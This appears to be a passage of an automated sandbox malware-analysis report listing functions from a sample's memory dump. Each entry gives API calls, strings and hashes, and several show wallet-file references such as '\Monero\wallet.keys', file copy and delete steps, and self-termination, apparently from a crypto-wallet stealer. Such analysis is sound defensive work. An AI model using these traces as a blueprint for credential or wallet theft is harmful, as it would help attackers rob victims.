Opcode Fuzzy Hash: 28a473cef3a0fa433a7f984ca643b699bfa204466829582417da6f73d01d8db6
Instruction Fuzzy Hash: 13418BB6D001086BDB28EBE0EC46FFD777DBB88300F044559B6265B185EA759BC88BD1

Function 00FB6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00FB696C
sscanf.NTDLL ref: 00FB6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FB69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FB69C0
ExitProcess.KERNEL32 ref: 00FB69DA

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 19472b6d636382ed16192807107c6ec4848c9ecbaa9f0b846088c41704f5ad14
Instruction ID: f61cd3c7cfff69a64d9a83a79c8e8cceb7b7db60a10d990c9ff1fb0370b04fbe
Opcode Fuzzy Hash: 19472b6d636382ed16192807107c6ec4848c9ecbaa9f0b846088c41704f5ad14
Instruction Fuzzy Hash: 2421EB75D00208ABCF18EFE4E9459EEB7F9FF48300F04852AE416E7244EB349648CB65

Function 00FB7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00FB7E3E
RegOpenKeyExA.ADVAPI32(80000002,008BC460,00000000,00020119,?), ref: 00FB7E5E
RegQueryValueExA.ADVAPI32(?,008CDD20,00000000,00000000,000000FF,000000FF), ref: 00FB7E7F
RegCloseKey.ADVAPI32(?), ref: 00FB7E92

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4e9db22c1c4bd21b136671c78b88022f183bafe8c755f3721ce4441db26b2e35
Instruction ID: 22277289b6c71f9fd7c750f1a9d8da20e3c88c43c2f82cc601961010ab91bf5f
Opcode Fuzzy Hash: 4e9db22c1c4bd21b136671c78b88022f183bafe8c755f3721ce4441db26b2e35
Instruction Fuzzy Hash: 8911C1B2A44205EBD714DFC5E849FBBBBB8EF44B01F104129F612AB284D77498008FA1

Function 00FB9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(008CDFF8,?,?,?,00FB140C,?,008CDFF8,00000000), ref: 00FB926C
lstrcpyn.KERNEL32(011EAB88,008CDFF8,008CDFF8,?,00FB140C,?,008CDFF8), ref: 00FB9290
lstrlen.KERNEL32(?,?,00FB140C,?,008CDFF8), ref: 00FB92A7
wsprintfA.USER32 ref: 00FB92C7

Strings

%s%s, xrefs: 00FB92B5

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: de7c60f1cfe3831629d4278b8059bc41ec479cdcaf2e1bcc11320acebaa024bc
Instruction ID: 30067f21d0c1a50fef6c87de7cc3f3b8ccc5f1e0eaa45571efcfee7a7ea7c107
Opcode Fuzzy Hash: de7c60f1cfe3831629d4278b8059bc41ec479cdcaf2e1bcc11320acebaa024bc
Instruction Fuzzy Hash: 9001CC75940108FFCB18DFECD988EAE7BB9EF48355F108548F9199B204C671AA80DB90

Function 00FA12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FA12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00FA12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FA12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FA12F5
RegCloseKey.ADVAPI32(?), ref: 00FA12FF

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 7721b8b26d9e37d95b3ac992cc05401fa0b23572285f24ea8f6970b51ecb128a
Instruction ID: ee6cb74f5c84941961e0bbe187f6771d87b4428cee682031de767e9bae808047
Opcode Fuzzy Hash: 7721b8b26d9e37d95b3ac992cc05401fa0b23572285f24ea8f6970b51ecb128a
Instruction Fuzzy Hash: 9701E1B9A40208BBDB14DFE4E849FAEB7F8EF48701F108169FA159B284D6759A418F50

Function 00FBC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00FBC8EC
___crtLCMapStringA.LIBCMT ref: 00FBC90C
___crtLCMapStringA.LIBCMT ref: 00FBC931

Strings

, xrefs: 00FBC896

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 0608fbf24f6dcf1b4251c2956662a0eef401c89d9d2208ce63357605f10b1f1d
Instruction ID: 37a0d908dd8a66a521b059cef00ba6acca67a5c6273a9456adfe96602f7ad92f
Opcode Fuzzy Hash: 0608fbf24f6dcf1b4251c2956662a0eef401c89d9d2208ce63357605f10b1f1d
Instruction Fuzzy Hash: 0E41F67150075C9EEB218B25CC85FFB7BFC9B45704F1444E8E98A87182E2759A44EFA0

Function 00FB6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00FB6663

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FB6726
ExitProcess.KERNEL32 ref: 00FB6755

Strings

<, xrefs: 00FB66D9

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 2fc4d234e9fb3f47971cd7005b212afe49ae28d85078f39173e1ca3abe4ab9e7
Instruction ID: 477dc97228ac85054c19e1314198191ae5ea9db2d53fd0befe5080800726962d
Opcode Fuzzy Hash: 2fc4d234e9fb3f47971cd7005b212afe49ae28d85078f39173e1ca3abe4ab9e7
Instruction Fuzzy Hash: BF312BB1C01218AADB18EB91DC92FDEB77CAF44300F404199F21A67181DF786B89DF65

Function 00FB87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FC0E28,00000000,?), ref: 00FB882F
RtlAllocateHeap.NTDLL(00000000), ref: 00FB8836
wsprintfA.USER32 ref: 00FB8850

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Strings

%dx%d, xrefs: 00FB8847

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 3c89994d11d78649506e62f3006d0cd8f681bded83a205a7c12d9a35cb2663af
Instruction ID: 5af89e254f381e5fb544985a83520fbd797dd77e47122f0a15b5cd9947150f55
Opcode Fuzzy Hash: 3c89994d11d78649506e62f3006d0cd8f681bded83a205a7c12d9a35cb2663af
Instruction Fuzzy Hash: 7C212EB1A40208AFDB18DFD4ED45FAEBBF8FB48701F104129F615AB284C77999418BA1

Function 00FB8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FB951E,00000000), ref: 00FB8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00FB8D62
wsprintfW.USER32 ref: 00FB8D78

Strings

%hs, xrefs: 00FB8D6F

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ca8d70c7f6d1aca70a279ef5cd25179fcb6b07ae9887ec0a45dcfb37beb6b539
Instruction ID: 843712a92f3771ad4efc5c895f903f42fd175b4236d0e589226172303d5693a4
Opcode Fuzzy Hash: ca8d70c7f6d1aca70a279ef5cd25179fcb6b07ae9887ec0a45dcfb37beb6b539
Instruction Fuzzy Hash: B3E08670A40208FBC718DBD4E90AE597BF8EF04702F004064FD098B280D9719E409B51

Function 00FAA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FB8B60: GetSystemTime.KERNEL32(00FC0E1A,008CA8B0,00FC05AE,?,?,00FA13F9,?,0000001A,00FC0E1A,00000000,?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FB8B86

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FAA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00FAA3FF
lstrlen.KERNEL32(00000000), ref: 00FAA6BC

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

DeleteFileA.KERNEL32(00000000), ref: 00FAA743

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 35a573e2f3465c87e0c0ec0a485a503b8025218d58a5020d5ecfe00567ef66d0
Instruction ID: e82dacf96a732a5e2dca673059bc7573dedb4f759c0857353a809d04989822f3
Opcode Fuzzy Hash: 35a573e2f3465c87e0c0ec0a485a503b8025218d58a5020d5ecfe00567ef66d0
Instruction Fuzzy Hash: 69E1F372810108AADB14FBA5DC92EEE733CAF54300F508169F51776491EF386A59EF72

Function 00FAD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FB8B60: GetSystemTime.KERNEL32(00FC0E1A,008CA8B0,00FC05AE,?,?,00FA13F9,?,0000001A,00FC0E1A,00000000,?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FB8B86

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FAD481
lstrlen.KERNEL32(00000000), ref: 00FAD698
lstrlen.KERNEL32(00000000), ref: 00FAD6AC
DeleteFileA.KERNEL32(00000000), ref: 00FAD72B

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ed8558521e283a3d5ba31ed2ee887fb075a3420a61ae9505b07d3361e7f0e5a4
Instruction ID: 97a5095f78364fe5a44cb746363d28a72755fa6ebdff8f0e5a14d6a14ce74f51
Opcode Fuzzy Hash: ed8558521e283a3d5ba31ed2ee887fb075a3420a61ae9505b07d3361e7f0e5a4
Instruction Fuzzy Hash: BC911471910108ABDB18FBA1DDA2EEE733CAF54300F504168F51776491EF38AA59EF62

Function 00FAD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FB8B60: GetSystemTime.KERNEL32(00FC0E1A,008CA8B0,00FC05AE,?,?,00FA13F9,?,0000001A,00FC0E1A,00000000,?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FB8B86

